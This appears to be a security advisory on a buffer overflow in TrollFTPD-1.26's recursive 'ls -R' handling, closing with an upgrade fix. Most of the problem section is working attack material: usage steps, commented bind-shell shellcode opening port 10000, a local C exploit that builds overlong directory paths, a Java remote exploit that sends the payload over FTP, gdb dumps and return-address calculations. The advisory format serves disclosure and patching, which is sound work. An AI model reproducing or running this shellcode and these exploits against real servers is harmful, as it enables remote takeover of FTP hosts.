COMMAND

    TrollFTPD

SYSTEMS AFFECTED

    TrollFTPD-1.26

PROBLEM

    zen-parse found following.  An error in the handling of  recursive
    directory listings can result  in an exploitable buffer  overflow.
    Exploit (offsets are  for one machine.  not guaranteed to  work on
    any others):

        - Run the program,
          ftp localhost
          <in ftp>
          (your username)
          (your password)
          cd /tmp
          ls -R

          <out of ftp>
          Connect to port 10000 with nc
        - Be nice.

    The code:

    char shellcode[] =
       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x31\xdb"                   // xor  ebx, ebx
       "\xf7\xe3"                   // mul  ebx
       "\xb0\x66"                   // mov     al, 102
       "\x53"                       // push    ebx
       "\x43"                       // inc     ebx
       "\x53"                       // push    ebx
       "\x43"                       // inc     ebx
       "\x53"                       // push    ebx
       "\x89\xe1"                   // mov     ecx, esp
       "\x4b"                       // dec     ebx
       "\xcd\x80"                   // int     80h
       "\x89\xc7"                   // mov     edi, eax
       "\x52"                       // push    edx
       "\x66\x68\x27\x10"           // push    word 4135
       "\x43"                       // inc     ebx
       "\x66\x53"                   // push    bx
       "\x89\xe1"                   // mov     ecx, esp
       "\xb0\x10"                   // mov  al, 16
       "\x50"                       // push eax
       "\x51"                       // push    ecx
       "\x57"                       // push    edi
       "\x89\xe1"                   // mov     ecx, esp
       "\xb0\x66"                   // mov     al, 102
       "\xcd\x80"                   // int     80h
       "\xb0\x66"                   // mov     al, 102
       "\xb3\x04"                   // mov     bl, 4
       "\xcd\x80"                   // int     80h
       "\x50"                       // push eax
       "\x50"                       // push eax
       "\x57"                       // push edi
       "\x89\xe1"                   // mov  ecx, esp
       "\x43"                       // inc  ebx
       "\xb0\x66"                   // mov  al, 102
       "\xcd\x80"                   // int  80h
       "\x89\xd9"                   // mov  ecx, ebx
       "\x89\xc3"                   // mov     ebx, eax
       "\xb0\x3f"                   // mov     al, 63
       "\x49"                       // dec     ecx
       "\xcd\x80"                   // int     80h
       "\x41"                       // inc     ecx
       "\xe2\xf8"                   // loop    lp
       "\x51"                       // push    ecx
       "\x68\x55\x55\x55\x55"       // push    dword 68732f6eh
       "\x68\x55\x55\x55\x55"       // push    dword 69622f2fh
       "\x89\xe3"                   // mov     ebx, esp
       "\x51"                       // push    ecx
       "\x53"                       // push ebx
       "\x89\xe1"                   // mov  ecx, esp
       "\xb0\x0b"                   // mov  al, 11
       "\xcd\x80";                  // int     80h

    main()
    {
     char dir[8000];
     char nir[8000];
     int z0=0,a0=0x080597f8;
     int z1=0,a1=0xbff96450;
     int g;
     strcpy(dir,"/tmp/retroll/");
     mkdir(dir,0777);
     printf("%d\n",strlen(shellcode));
     while(strlen(dir)<4040)
     {
      strcat(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");
      mkdir(dir,0777);
     }
     // 4048 so far  leaving 48 left.
     if(chdir(dir)){perror("chdir");exit(1);}
     printf("%d + ",strlen(dir));
     sprintf(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");
     mkdir(dir,0777);
     system("cp /bin/sh AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/UUUUUUUU");
     sprintf(nir,"%sAAAAAAAAAAAAAAAAAAAAAAAA",dir);
     sprintf(dir,"%sGGGG=AAAAAAA%sAAAAAAAAAAAA%sCCCC%s",nir,&a0,&a1,shellcode);
     printf("%d = ",strlen(dir));
     mkdir(dir,0777);
    }

    Here is an example  of how you might  use java to create  a remote
    exploit...  'KF'  sent  a  java  attempt  at  remotely  exploiting
    trollftpd as  described by  zen-parse.   This code  could use some
    TLC.

    /*
       code by: krfinisterre@checkfree.com
    
       java trollftpdex <return> <offset> <localhost> <user> <pass>
    
       then ftp in and cd /tmp ls -R to invoke the overflow
    
       Here are some gdb dumps for those of you that want edit this.
    
       0x0804f983 in listdir (f=4, name=0xbffe9360 "./rapeme./", 'A' <repeats 190 times>...) at ls.c:510
       510                 if ( *r && !chdir( *r ) ) {
    
       (gdb) bt
       #0  0x0804f983 in listdir (f=4, name=0xbffe9360 "./rapeme./", 'A' <repeats 190 times>...) at ls.c:510
       #19 0x0804fa0f in listdir (f=4, name=0xbfffc6f0 "./rapeme.") at ls.c:517
       #20 0x0804fa0f in listdir (f=4, name=0x80524c9 ".") at ls.c:517
       #21 0x08050240 in donlist (arg=0x8055127 "") at ls.c:720
       #22 0x0804aadf in parser () at ftpd.c:420
       #23 0x0804e8d2 in main (argc=1, argv=0xbffffa4c) at ftpd.c:1730
       #24 0x4006b0de in __libc_start_main () from /lib/libc.so.6
    
       from looking at gdb dumps the code is somewhere between these 2 locations
       0xbffe9180:      'A' <repeats 190 times>, "/\220\220\220\220\220\220\220\220\220"
       ...
       0xbffe9310:      "\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\205~?"
    
    */
    import java.net.*;
    import java.io.*;
    import java.util.*;
    public class trollftpdex
    {
	    public static void main(String args[])
	    throws IOException, InterruptedException
	    {
    
		    // shellcode from trock.c by zen-parse runs /tmp/rapeme./AAAAAAAA.../AAAA.../UUUU
		    String scode = "\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x43\\x53\\x89\\xe1\\x4b\\xcd\\x80\\x89\\xc7\\x52\\x66\\x68\\x27\\x10\\x43\\x66\\x53\\x89\\xe1\\xb0\\x10\\x50\\x51\\x57\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x66\\xb3\\x04\\xcd\\x80\\x50\\x50\\
    x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x51\\x68\\x55\\x55\\x55\\x55\\x68\\x55\\x55\\x55\\x55\\x89\\xe3\\x51\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80";
		    int codelen = (scode.length()/4);
    
		    // these are obviously nops
		    int noplen = (((254 - codelen)/2) -4) ;
		    String shellcode = "\\x90";
    
		    for(int x = 4; x < noplen; x++)
		    {
			    shellcode = shellcode + "\\x90";
		    }
    
		    shellcode = shellcode + scode;
    
    
    
                    Integer o = new Integer(args[1]);
                    String off = o.toString(o.intValue(), 16);
		    long offset = Long.parseLong(off, 16);
                    long esp = Long.parseLong(args[0], 16);
    
                    // What we want to eip to be
                    long evilreturn = esp - offset;
                    String evilreturn_hex_tmp = Long.toHexString(evilreturn);
    
                    String evilreturn_hex1 = evilreturn_hex_tmp.substring(0,2);
                    String evilreturn_hex2 = evilreturn_hex_tmp.substring(2,4);
                    String evilreturn_hex3 = evilreturn_hex_tmp.substring(4,6);
                    String evilreturn_hex4 = evilreturn_hex_tmp.substring(6,8);
    
		    String ret = evilreturn_hex4 + "\\x" + evilreturn_hex3 + "\\x" + evilreturn_hex2 + "\\x" + evilreturn_hex1;
		    // heres our return addy
		    int addylen = ((254 - codelen)/2);
		    for(int x = 0; x < addylen; x=x+4)
		    {
			    shellcode = shellcode + ret ;
		    }
    
    
		    // fill an internal char array for use in string mal
		    CharArrayWriter pw = new CharArrayWriter(5);
		    StringTokenizer st = new StringTokenizer(shellcode, "\\x");
		    int len = st.countTokens();
		    for(int x = 0; x < len; x ++)
		    {
			    int nopi = Integer.parseInt(st.nextToken(), 16);
			    pw.write(nopi);
    
		    }
		    pw.flush();
		    pw.close();
		    String mal = pw.toString();
    
    
		    try
		    {
			    // Put the bulk of the code here.
			    Socket s = new Socket(args[2], 21);
			    System.out.print(".");
			    PrintStream ps = new PrintStream(s.getOutputStream());
			    DataInputStream dis = new DataInputStream(s.getInputStream());
    
			    ps.println("user " + args[3]);
			    ps.flush();
    
			    ps.println("pass " + args[4]);
			    ps.flush();
    
			    ps.println("mkd /tmp/rapeme.");
			    ps.flush();
    
			    ps.println("cwd /tmp/rapeme.");
			    ps.flush();
    
			    ps.println("mkd AAAAAAAAAA");
			    ps.flush();
			    ps.println("cwd AAAAAAAAAA");
			    ps.flush();
    
    
			    // 255 chars in len
			    for(int x = 0; x < 18; x++)
			    {
				    ps.println("mkd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
				    ps.flush();
				    ps.println("cwd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
				    ps.flush();
			    }
    
			    // put our payload here
			    ps.println("mkd " + mal);
			    ps.flush();
			    ps.println("cwd " + mal);
			    ps.flush();
    
			    ps.flush();
			    ps.println("quit");
			    ps.flush();
    
			    String line = null;
			    while( (line = dis.readLine() ) != null)
			    {
				    System.out.println(line);
				    line = null;
			    }
    
			    ps.close();
			    dis.close();
			    s.close();
    
		    }
    
    
		    catch(IOException e)
		    {
			    System.out.println(e);
		    }
    
	    }
    }

SOLUTION

    Upgrade to TrollFTPD-1.27:

        ftp://ftp.trolltech.com/freebies/ftpd/troll-ftpd-1.27.tar.gz

    Pure-FTPd is a derivative of TrollFTPd 1.26.  However, it  doesn't
    seem to be  vulnerable to this  attack.  The  bound checking added
    in TrollFTPD 1.27 have already been implemented in the very  first
    version of Pureftpd.